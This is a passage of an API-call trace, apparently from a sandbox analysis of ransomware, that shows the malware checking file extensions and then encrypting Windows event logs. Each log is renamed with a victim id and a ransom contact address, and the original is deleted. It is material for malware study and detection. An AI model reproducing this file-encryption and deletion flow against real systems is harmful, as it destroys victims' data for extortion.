	[0076.812] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.812] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0076.812] lstrlenW (lpString=".zip") returned 4
	[0076.812] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.812] lstrlenW (lpString=".rar") returned 4
	[0076.812] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.812] lstrlenW (lpString=".bz2") returned 4
	[0076.812] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.812] lstrlenW (lpString=".7z") returned 3
	[0076.812] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.812] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0076.812] lstrlenW (lpString=".dbf") returned 4
	[0076.812] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.812] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0076.812] lstrlenW (lpString=".1cd") returned 4
	[0076.812] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.812] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0076.812] lstrlenW (lpString=".jpg") returned 4
	[0076.812] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.812] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0076.812] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Security.evtx") returned 42
	[0076.812] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0076.813] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=69632) returned 1
	[0076.813] CloseHandle (hObject=0x390) returned 1
	[0076.813] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 0x20
	[0076.813] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.813] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0076.813] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.813] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.813] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0076.814] GetLastError () returned 0x0
	[0076.814] ReadFile (in: hFile=0x390, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.816] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.818] ReadFile (in: hFile=0x390, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.818] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x128, lpOverlapped=0x0) returned 1
	[0076.818] SetEndOfFile (hFile=0x388) returned 1
	[0076.818] CloseHandle (hObject=0x388) returned 1
	[0076.820] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.820] SetEndOfFile (hFile=0x390) returned 1
	[0076.821] CloseHandle (hObject=0x390) returned 1
	[0076.822] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0076.822] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 1
	[0076.822] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0076.822] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0076.822] lstrlenW (lpString=".doc") returned 4
	[0076.822] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.822] lstrlenW (lpString=".docx") returned 5
	[0076.822] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.822] lstrlenW (lpString=".pdf") returned 4
	[0076.822] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.822] lstrlenW (lpString=".xls") returned 4
	[0076.822] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.822] lstrlenW (lpString=".xlsx") returned 5
	[0076.822] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.822] lstrlenW (lpString=".ppt") returned 4
	[0076.822] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0076.823] lstrlenW (lpString=".zip") returned 4
	[0076.823] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.823] lstrlenW (lpString=".rar") returned 4
	[0076.823] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.823] lstrlenW (lpString=".bz2") returned 4
	[0076.823] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.823] lstrlenW (lpString=".7z") returned 3
	[0076.823] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0076.823] lstrlenW (lpString=".dbf") returned 4
	[0076.823] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0076.823] lstrlenW (lpString=".1cd") returned 4
	[0076.823] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0076.823] lstrlenW (lpString=".jpg") returned 4
	[0076.823] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0076.823] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0076.823] lstrlenW (lpString=".doc") returned 4
	[0076.823] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.824] lstrlenW (lpString=".docx") returned 5
	[0076.824] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.824] lstrlenW (lpString=".pdf") returned 4
	[0076.824] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.824] lstrlenW (lpString=".xls") returned 4
	[0076.824] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.824] lstrlenW (lpString=".xlsx") returned 5
	[0076.824] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.824] lstrlenW (lpString=".ppt") returned 4
	[0076.824] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.824] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0076.824] lstrlenW (lpString=".zip") returned 4
	[0076.824] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.824] lstrlenW (lpString=".rar") returned 4
	[0076.824] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.824] lstrlenW (lpString=".bz2") returned 4
	[0076.824] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.824] lstrlenW (lpString=".7z") returned 3
	[0076.824] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.824] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0076.824] lstrlenW (lpString=".dbf") returned 4
	[0076.824] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.824] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0076.824] lstrlenW (lpString=".1cd") returned 4
	[0076.824] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.824] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50
	[0076.824] lstrlenW (lpString=".jpg") returned 4
	[0076.824] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.824] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0076.825] lstrlenW (lpString="Microsoft-Windows-Store%4Operational.evtx") returned 41
	[0076.825] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0076.826] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=69632) returned 1
	[0076.826] CloseHandle (hObject=0x390) returned 1
	[0076.827] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 0x20
	[0076.827] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.827] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0076.827] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.827] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.827] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0076.827] GetLastError () returned 0x0
	[0076.827] ReadFile (in: hFile=0x390, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.829] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.831] ReadFile (in: hFile=0x390, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.831] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x126, lpOverlapped=0x0) returned 1
	[0076.831] SetEndOfFile (hFile=0x388) returned 1
	[0076.832] CloseHandle (hObject=0x388) returned 1
	[0076.833] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.834] SetEndOfFile (hFile=0x390) returned 1
	[0076.835] CloseHandle (hObject=0x390) returned 1
	[0076.835] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0076.835] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 1
	[0076.835] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0076.835] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0076.835] lstrlenW (lpString=".doc") returned 4
	[0076.836] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.836] lstrlenW (lpString=".docx") returned 5
	[0076.836] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.836] lstrlenW (lpString=".pdf") returned 4
	[0076.836] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.836] lstrlenW (lpString=".xls") returned 4
	[0076.836] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.836] lstrlenW (lpString=".xlsx") returned 5
	[0076.836] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.836] lstrlenW (lpString=".ppt") returned 4
	[0076.836] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.836] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0076.836] lstrlenW (lpString=".zip") returned 4
	[0076.836] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.836] lstrlenW (lpString=".rar") returned 4
	[0076.836] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.836] lstrlenW (lpString=".bz2") returned 4
	[0076.836] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.836] lstrlenW (lpString=".7z") returned 3
	[0076.836] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.836] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0076.836] lstrlenW (lpString=".dbf") returned 4
	[0076.836] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.836] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0076.836] lstrlenW (lpString=".1cd") returned 4
	[0076.836] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.836] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0076.836] lstrlenW (lpString=".jpg") returned 4
	[0076.836] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.836] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0076.836] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0076.836] lstrlenW (lpString=".doc") returned 4
	[0076.837] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.837] lstrlenW (lpString=".docx") returned 5
	[0076.837] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.837] lstrlenW (lpString=".pdf") returned 4
	[0076.837] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.837] lstrlenW (lpString=".xls") returned 4
	[0076.837] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.837] lstrlenW (lpString=".xlsx") returned 5
	[0076.837] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.837] lstrlenW (lpString=".ppt") returned 4
	[0076.837] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.837] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0076.837] lstrlenW (lpString=".zip") returned 4
	[0076.837] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.837] lstrlenW (lpString=".rar") returned 4
	[0076.837] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.837] lstrlenW (lpString=".bz2") returned 4
	[0076.837] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.837] lstrlenW (lpString=".7z") returned 3
	[0076.837] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.837] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0076.837] lstrlenW (lpString=".dbf") returned 4
	[0076.837] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.837] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0076.837] lstrlenW (lpString=".1cd") returned 4
	[0076.837] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.837] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49
	[0076.837] lstrlenW (lpString=".jpg") returned 4
	[0076.837] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.838] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0076.838] lstrlenW (lpString="Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 49
	[0076.838] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0076.838] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=69632) returned 1
	[0076.838] CloseHandle (hObject=0x390) returned 1
	[0076.838] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 0x20
	[0076.838] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.838] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0076.838] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.838] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.838] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0076.839] GetLastError () returned 0x0
	[0076.839] ReadFile (in: hFile=0x390, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0077.170] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0077.174] ReadFile (in: hFile=0x390, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.174] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x136, lpOverlapped=0x0) returned 1
	[0077.174] SetEndOfFile (hFile=0x388) returned 1
	[0077.174] CloseHandle (hObject=0x388) returned 1
	[0077.180] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.180] SetEndOfFile (hFile=0x390) returned 1
	[0077.181] CloseHandle (hObject=0x390) returned 1
	[0077.181] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0077.182] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 1
	[0077.182] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0077.182] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0077.182] lstrlenW (lpString=".doc") returned 4
	[0077.182] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.182] lstrlenW (lpString=".docx") returned 5
	[0077.182] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.182] lstrlenW (lpString=".pdf") returned 4
	[0077.182] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.183] lstrlenW (lpString=".xls") returned 4
	[0077.183] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.183] lstrlenW (lpString=".xlsx") returned 5
	[0077.183] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.183] lstrlenW (lpString=".ppt") returned 4
	[0077.183] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.183] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0077.183] lstrlenW (lpString=".zip") returned 4
	[0077.183] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.183] lstrlenW (lpString=".rar") returned 4
	[0077.183] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.183] lstrlenW (lpString=".bz2") returned 4
	[0077.183] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.183] lstrlenW (lpString=".7z") returned 3
	[0077.183] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.184] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0077.184] lstrlenW (lpString=".dbf") returned 4
	[0077.184] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.184] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0077.184] lstrlenW (lpString=".1cd") returned 4
	[0077.184] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.184] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0077.184] lstrlenW (lpString=".jpg") returned 4
	[0077.184] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.184] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0077.184] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0077.184] lstrlenW (lpString=".doc") returned 4
	[0077.184] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.184] lstrlenW (lpString=".docx") returned 5
	[0077.184] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.184] lstrlenW (lpString=".pdf") returned 4
	[0077.184] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.184] lstrlenW (lpString=".xls") returned 4
	[0077.184] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.184] lstrlenW (lpString=".xlsx") returned 5
	[0077.184] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.184] lstrlenW (lpString=".ppt") returned 4
	[0077.184] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.184] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0077.184] lstrlenW (lpString=".zip") returned 4
	[0077.185] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.185] lstrlenW (lpString=".rar") returned 4
	[0077.185] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.185] lstrlenW (lpString=".bz2") returned 4
	[0077.185] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.185] lstrlenW (lpString=".7z") returned 3
	[0077.185] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.185] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0077.185] lstrlenW (lpString=".dbf") returned 4
	[0077.185] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.185] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0077.185] lstrlenW (lpString=".1cd") returned 4
	[0077.185] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.185] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0077.185] lstrlenW (lpString=".jpg") returned 4
	[0077.185] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.185] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0077.185] lstrlenW (lpString="Microsoft-Windows-TWinUI%4Operational.evtx") returned 42
	[0077.185] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
